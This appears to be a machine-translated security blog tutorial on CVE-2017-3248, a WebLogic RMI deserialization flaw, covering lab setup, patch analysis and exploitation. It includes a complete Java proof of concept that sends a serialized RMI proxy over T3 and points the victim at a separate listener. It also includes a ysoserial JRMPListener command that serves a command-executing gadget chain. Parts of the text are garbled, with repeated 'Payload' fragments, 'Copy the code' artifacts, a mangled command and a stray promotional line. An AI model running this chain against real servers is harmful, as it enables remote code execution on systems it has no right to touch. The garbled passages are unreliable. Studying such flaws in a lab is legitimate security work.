0x01 Vulnerability Background

The vulnerability bypassed the previous patch using rmI deserialization vulnerability, which was a new technology at the time. Applicable versions include 10.3.6.0, 12.1.3.0, 12.2.1.0, and 12.2.1.1. It will study the environment construction, vulnerability patch analysis, bypass method thinking, payload construction and other aspects, and make clear some pit points and knowledge points as much as possible to learn WebLogic deserialization from 0 to 1.

0x02 Environment Setup and Patch Installation

2021 Network security/penetration testing/security learning /100 SRC technical documents (full set of videos, big factory surface, boutique manuals, essential kits, routes

0x1 Environment Setup

  1. Existing environment

Using an existing Docker environment, run the following command to generate the corresponding version of the docker Docker run -d p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

  1. Automatically set up

Using Docker automated construction, Download the build code at Github [https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git) Jdk7u21 and WebLogic 10.3.6.0 are used in this experiment environment, and the programs of corresponding versions are stored in jdk_USE and Weblogic_USE folders

Run the following command:

./WeblogicDockerBuild.sh
docker-compose up -d

Copy the code

0x2 Patch Installation

The patch used this time is P23094342_1036_generic.zip

Install the patch using the following instructions

cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver

Copy the code

Patch information:

0x03 Analyzing and Bypassing patches

0x1 Patch Analysis

Payload (cVE-2016-3510 payload) Payload (CVE-2016-3510 Payload) Payload (CVE-2016-3510 Payload) Payload (CVE-2016-3510 Payload

It is clear from the error that MarshalledObject cannot be deserialized. Take a look at how the patch was fixed. At first, the simple-minded author thought that there was something added to the whitelist this time, so she frantically searched for it in all kinds of blacklists, but found nothing. She felt frustrated for a long time. Suddenly a marshalledobject.class file was found in the patch pack while using idea analysis, as shown below

To prove that this interface with the same package path affects the deserialization of MarshalledObject, do the following

mkdir test
cp BUG23094342_10360160719.jar test/
tar xvf BUG23094342_10360160719.jar
rm BUG23094342_10360160719.jar 
rm weblogic/corba/utils/MarshalledObject.class
tar -cvf BUG23094342_10360160719.jar ./

Copy the code

Payload cVE-2016-3510 Payload Payload payload

Write an interface with the same package name and class name to override the previous class and make it non-deserializable.

0x2 Pre-knowledge -RMI deserialization

In theory, it would have been possible to bypass MarshalledObject by substituting a class for it, but this time it didn’t. Instead, an interesting deserialization vulnerability, the RMI deserialization vulnerability, was introduced. This time, I will show you how to bypass the patch.

RMI stands for Java Remote Method Call. RMI is an application programming interface for implementing remote procedure calls in the Java programming language. It enables programs running on the client to invoke objects on the remote server. RMI anti-sequence the whole system is more complex, but generally master a few knowledge points can deal with many scenarios. The deserialization points available in RMI communication are summarized while collating RMI knowledge

There are roughly three types of client triggers, server triggers and ** registry triggers. The deserialization points involved in ** ySOSerial are noted in the corresponding places.

Client-side triggering

1. When the client sends a Lookup packet to the registry, the registry returns the stub object to the client and triggers readObject 2 on the client. When a client communicates with a remote using StreamRemoteCall, there is deserialization in the executeCall function that triggers a readObject on the client (payloads/JRMPClient with exploits /JRMPListener) 3. When the client uses DGCImpl_Stub to interact with the DGC server, the client will deserialize the serialized data of the Lease object in the dirty function and trigger the readObject on the client

Server trigger

1. When a client sends a request to the server to invoke a remote method, DGCImpl_Stub is used to communicate with the server. When a dirty request is processed, readObject(exploit/JRMPClient, Can cooperate payloads/JRMPListener)

Registry trigger

1. When the client sends a lookup packet to the registry, the String name corresponding to the stub in binding will be serialized. After receiving the packet, the registry will trigger a readObject on the registry to deserialize the transmitted name. 2. When the server or the client to the registry (RegistryImpl) bind binding stub will trigger on the registration end readObject (exploits/RMIRegistryExploit). 3. ReadObject 4 is triggered on the registry side when a server or client unbind a stub to the registry. The readObject is triggered on the registry side when the server or client rebinds the Stub to the registry rebind

0x3 Principle of RMI deserialization

Cve-2017-3248 can bypass the last vulnerability patch in two ways: client or server trigger. It focuses on analyzing the underlying principle of payloads/JRMPClient cooperating with exploit/JRMPListener to complete the attack.

The background of the deserialization of payloads/JRMPClient is that the client will invoke DGCClient to communicate with the remote DGCServer after receiving a response from RegistryImpl_Skel. The call stack is as follows

The main problem is with the executeCall function of the StreamRemotecall. class class

It is observed that this.in is a ConnectionInputStream and there is no blacklist restriction, so as long as the server can control, it can send any deserialized data to the client.

As it happens in RemoteObjectInvocationHandler deserialization code will invoke the StreamRemoteCall executeCall method in the class

Dirty is already triggered to the executeCall code in conjunction with the previous call stack dgc.dirty function

0x04 Utilization method

0x1 How to construct the Payload

Having examined the vulnerability principle, what code does the client need to build to trigger deserialization? This will be explained later in the RMI section. This section will cover the general logic. There will be many classes and variables.

First, how does an RMI client invoke other classes on a remote server? The RMI mechanism does this by involving classes called on the other side to generate peer structures like stubs and Skel, where stubs are stored on the client side (which can either generate them themselves, such as RegistryImpl_stub, or obtain proxies from the server over the network (MyclassImpl)). Since we are only analyzing the client, a client-side RMI call flow diagram is presented

  • Yellow line: The client first calls the getRegistry function to generate the registry Stub (RegistryImpl_stub)
  • Yellow line: Then it communicates with remote services using the Lookup method. Remote services will match the Target contained in this stub in ObjectTable for route distribution
  • Purple line: After receiving the LOOKUP request, the server will return the generated Proxy class (MyclassImpl)** to the client
  • Green line: The client receives the proxy class Stub and calls its methods directly to communicate with the remote service and execute the relevant code remotely

Let’s focus on the purple line part of the process, what does the server actually return, we find the server startup code

When the code executes at line 13, the constructor in the UnicastRemoteObject class will be executed because UserImpl inherits the UnicastRemoteObject class and calls the parent constructor in the constructor

The constructor calls exportObject

How to encapsulate the Stub passed to the Client

Easily understood backwards analysis, using RemoteObjectInvocationHandler agent at the end we need to perform class, then how RemoteRef, can only see from the current code getClientRef is available

The code for getClientRef is as follows. When was this.ref assigned?

How is the sref generated when assigned at the beginning of the UnicastRemoteObject constructor

Sref is actually UnicastServerRef is a subclass of UnicastRef

The LiveRef object is created in its constructor and assigned to the ref variable of UnicastRef

There may be some twists, but the whole thing can be summed up in the following code

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

Copy the code

Modelled on the server-side createProxy function, RemoteObjectInvocationHandler encapsulated into the proxy class.

(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);

Copy the code

Use the code shown below

package main;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class cve_2017_3248 {
    public Object getObject(){
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);
        return proxy;
    }
    public static void main(String[] args) throws Exception {
        Object obj = new cve_2017_3248().getObject();
        byte[] payload2 = Serializables.serialize(obj);
        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
    }
}

Copy the code

0x2 Integrated utilization

Step 1 Use JRMPListener to listen on the port

Java - cp ysoserial - 0.0.6 - the SNAPSHOT - BETA - all. Jar ysoserial. Exploits. JRMPListener 7777 CommonsCollections1 'touch/TMP/D4ck'Copy the code

**Step 2 Sends vulnerability payload ** The deserialized data contains the RMI client link code

0 x05 summary

Cve-2017-3248 uses RMI deserialization vulnerability, which also opens a new chapter of the author’s analysis of RMI vulnerability principle. In the following part, Weblogic deserialization vulnerability will be analyzed continuously, and the basic knowledge and simple utilization of RMI deserialization vulnerability will be summarized systematically.